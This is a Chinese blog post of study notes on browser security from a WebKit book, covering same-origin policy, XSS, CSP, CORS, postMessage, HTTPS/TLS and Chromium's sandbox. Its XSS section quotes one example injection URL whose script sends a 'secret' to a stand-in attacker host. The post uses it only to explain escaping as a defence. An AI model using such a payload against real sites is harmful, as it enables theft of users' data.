前言
此文章是我最近在看的【WebKit 技术内幕】一书的一些理解和做的笔记。
而【WebKit 技术内幕】是基于 WebKit 的 Chromium 项目的讲解。
书接上文 浏览器之 javaScript 引擎
本章主要讲解 浏览器安全机制的网页的安全和浏览器的安全。
1. 网页安全模型
1.1 安全模型基础
当用户访问网页的时候，浏览器需要确保该网页中数据的安全性，如 Cookie、用户名和密码等信息不会被其他的恶意网页所获取。
HTML5 定义了一系列安全机制来保证网页浏览的安全性，这构成了网页的安全模型。
1.1.1 域
域（Origin）表示的是网页所在的域名、传输协议和端口（Port）等信息，是表明网页身份的重要标识。
例如：“http://blog.csdn.net/milado_nju”，那么
- 域是 “http://blog.csdn.net”
- “http:” 是协议（Protocol）
- “blog.csdn.net” 是域名（Domain）
- 端口是默认的 80
根据安全模型的定义，不同域中网页间的资源访问是受到严格的限制的，也就是网页的 DOM 对象、个人数据、XMLHttpRequest 等需要受到控制
。
默认情况下，不同网页间的这些数据是被浏览器隔离的，不能相互访问，这就是 HTML 的 “Same origin Policy” 策略。
因为这些策略的限制，所以如果有两个网页，只要协议、域名、端口 三个其中有一个不一样，就是不同的域。
唯一允许的条件是 这两个网页在同一域中，根据规范的定义，当且仅当它们的协议、域名和端口都相同的情况下，浏览器才会允许它们之间相互访问。
1.1.2 XSS
在 HTML 解释器中，HTMl 构建 DOM 的过程中，WebKit 使用一个叫做 XSSAuditor 的类来做安全方面的检查，它的作用是防止 XSS 攻击的。
XSS 全称是 Cross Site Scripting，其含义是 执行跨域的 JavaScript 脚本代码。
执行脚本这本身没什么问题，但是，由于执行其他域的脚本代码可能存在严重的危害，还有可能会盗取当前域中的各种数据。
假如用户不小心单击如下的链接：
“http://myweb.com/?<script>window.open('http://hac.ker.com/?secret=do...')</script>”。
如果该网页中存在漏洞，这段网址的输入可能变成了代码被注入网页中，那么该网页的信息将会被传输到另外一个域中去，其中主要的原因是浏览器将用户的数据变成了可以执行的代码。
解决上面问题的一个典型的方法就是不信任任何来自用户输入的数据。对于上面的栗子，可以使用字符转换，因为 “<>” 等字符在 HTML 中有特殊的含义，表示的是元素，所以开发都将用户输入的数据进行字符转换，那就是将 “<” 转换成 “ <；”，“>” 转换成 “>；” 等，这样浏览器就不会将它们作为代码来执行。
除了上面的攻击的一个例子外，还有很多方法和手段会被用来攻击网站的。
为此，标准组织和 WebKit 使用了大量的技术来避免各种攻击的发生。
如，在 HTTP 消息头中定义了一个名为 “X-XSS-Protection” 的字段，此时浏览器会打开防止 XSS 攻击的过滤器，目前主要的浏览器都支持该技术。
1.1.3 CSP
Content Security Policy 是一种防止 XSS 攻击的技术，它 使用 HTTP 消息头 来指定网站或者网页能够标注哪些域中的哪些类型的资源被允许加载在该域的网页中，包括 JavaScript、CSS、HTML Frames、字体、图片和嵌入对象（如插件、Java Applet 等）。
在 HTTP 消息头中，可以使用相应的字段来控制这些域和资源的访问，其主要是服务器返回的 HTTP 消息头。
1.1.4 CORS
根据 “Same Origin Policy" 原则，浏览器做了很多限制以阻止跨域的访问，所以跨域的资源共享又变成了一个问题。
标准组织为了适应现实的需要，制定了 CORS (Cross Origin Resource Sharing) 规范，也就是跨域资源共享，该规范也是借助于 HTTP 消息头 并通过定义了一些字段来实现的，主要是 定义不同域之间交互数据的方式。
值得注意，CORS 和 CSP 规定的是不同领域的标准，处理的是不同的事情。
主要区别：
CSP 定义的是网页自身能够访问的某些域和资源，而 CORS 定义的是一个网页如何才能访问被同源策略禁止的跨域资源，规定两者交互的协议和方式。
当某个网页希望访问其他域资源的时候，就需要按照 CORS 定义的标准从一个域访问另外一个域的数据。比如 一个网站 http://myweb.com 希望使用 http://blog.csdn.net 上的数据，这时就需要用到 CORS。
包含了 CORS 的消息头不是简单的 HTTP 消息头，该消息请求在 CROS 里面被称为 “Preflight” 消息请求。
CORS 使用的字段名和功能如表 12-2所示。
其类型可以分成请求端和响应端两种。因为没有必要每个 HTTP 消息头都要包含这些类型，所以用 “Preflight” 请求来发送包含 CORS 字段的消息，而其他则是简单的 HTTP 消息头。
图中的 “Access-Control-Max-Age” 则是表示 Prefight 请求的有效期，在有效期内不需要重复发送 CORS 定义字段的消息。
1.1.5 Cross Document Messaging
为了解决 JavaScript 直接访问其他域网页的 DOM 结构问题，标准组织引入一个消息传递机制，就是 Cross Document Messaging。
Cross Document Messaging 定义的是通过 window.postMessage 接口让 JavaScript 在不同域的文档中传递消息成为可能。如 示例代码 12-2
// http://myweb.com 中的 JavaScript 代码： contentWin.postMessage('Hello'，'http://blog.csdn.net')；
// http://blog.csdn.net/milado_nju 网页中 JavaScript 代码（假如可以的话）： window.addEventListener('message',function(e){ if (e.origin == 'http://myweb.com' ){ if (e.data == "Heello"){ e.source.postMessage('Hello2', e.origin); }else{ alert(e.data); } } }, false);
该机制使用 “window” 对象的 postMessage 方法来传递给其他域网页消息，该方法包含两个参数，第一个是 消息内容，第二个是需要对方的域信息。而在接收方，开发者在 JavaScript 代码中注册一个消息响应函数，如上面代码所示，如果检查出消息来自于 “http://myweb.com” ，那么就回复一个 “hello2” 消息，原理非常简单。
1.1.6 安全传输协议
在 http 时代，网页的数据的传输都是使用明文方式，它们对谁都是可见的，所以对于隐私的数据，如密码、银行账号信息等，就不能使用明文来传输了。
为此，Web 引入了安全的数据传输协议，这就是 HTTPS。
HTTPS 是在 HTTP 协议之上使用 SSL(Secure Socket Layer) 技术来对传输的数据进行加密，从而保证了数据的安全性。
SSL 协议是构建在 TCP 协议之上，应用层协议 HTTP 之下的。SSL 工作的主要流程是先进行服务器认证（认证服务器是安全可靠的），然后是用户认证。
SSL协议主要是服务提供商对用户信息保密的承诺，这有利于提供商而不利于消费者。
同时 SSl 还存在一些问题，如，只能提供交易中客户与服务器间的双方认证，在涉及多方的电子交易中，SSL 协议并不能协调各方间的安全传输和信任关系。
TLS （Transport Layer Security）是在 SSL3.0 基础之上发展起来的，它使用了新的加密算法，所以它同 HTTPS 之间并不兼容。TLS 用于两个通信应用程序之间，提供保密性和数据完整性，该协议是由两个子协议组成的，包括 TLS 记录协议（TLS Record）和 TLS 握手协议（TLS Handshake）。较低的层为 TLS 记录协议，位于 TCP 协议之上。
1.2 沙箱模型
1.2.1 原理
因为如果浏览器运行的主机代码被入侵了，通过一些手段或者浏览器中的漏洞，这些代码可能获取了主机的管理权限，对主机系统来说是非常危险的。
所以，除了保证网页本身之外，还需要保证浏览器和浏览器所在的系统不存在危险。
如果有一种机制，将网页运行限制在一个特定的环境中，也就是一个沙箱中，使它只能访问有限的功能。 那么，即使网页工作的渲染引擎被攻击，它也不能够获取渲染引擎工作的主机系统中的任何权限，这一思想就是沙箱模型。
WebKit 中并没有提供沙箱机制的支持，是 Chromium 支持沙箱的实现方式。
Chromium 是以多进程为基础的，网页的渲染在一个独立的 Renderer 进程中进行，这为实现沙箱模型提供了基础，因为可以相对容易地使用一些技术将整个网页的渲染过程放在一个受限的进程中来完成，如图 12-7 所示，爱限环境只能被某些或者很少的系统调用而且不能直接访问用户数据。而沙箱模型工作的基本单位就是进程。
Chromium 的沙箱模型是 利用系统提供的安全技术，让网页在执行过程中不会修改操作系统或者是访问系统中的隐私数据，而需要访问系统资源或者说是系统调用的时候，通过一个代理机制来完成。
1.2.2 实现机制
因为沙箱模型严重依赖操作系统提供的技术，而不同操作系统提供的安全技术是不一样的，所以不同操作系统上的实现是不一致的。不管是 LInux、Windows、还是其他平台， Chromium 都是在进程的粒度下来实现沙箱模型，也就是说需要运行在沙箱下的操作都在一个单独的进程中。所以，对于使用沙箱模型至少需要两个进程。如 12-8。
目标进程就是需要在沙箱中运行的代码。
代理进程是 需要负责创建目标进程并为目标进程设置各种安全策略，同时建立 IPC 连接，接受目标进程的各种请求，因为目标进程是不能访问过多资源的。
总结
- 浏览器的安全机制包括 网页安全模型 和 沙箱模型
- 其中 网页安全模型 就是利用了同源策略，让不同域中的网页不能相互访问，当然有好几种浏览器跨域的方法可以其相互访问。
- 而沙箱模型则是利用了 Chromium 实现的，利用 代理进程 来创建独立的环境让 目标进程 在当中安全运行。
- Chrom 引入的沙箱机制极大地降低了网页中各种破坏操作系统的潜在风险，将网页执行置于一个孤立（Isolated）和受限制（Strict）的环境中。
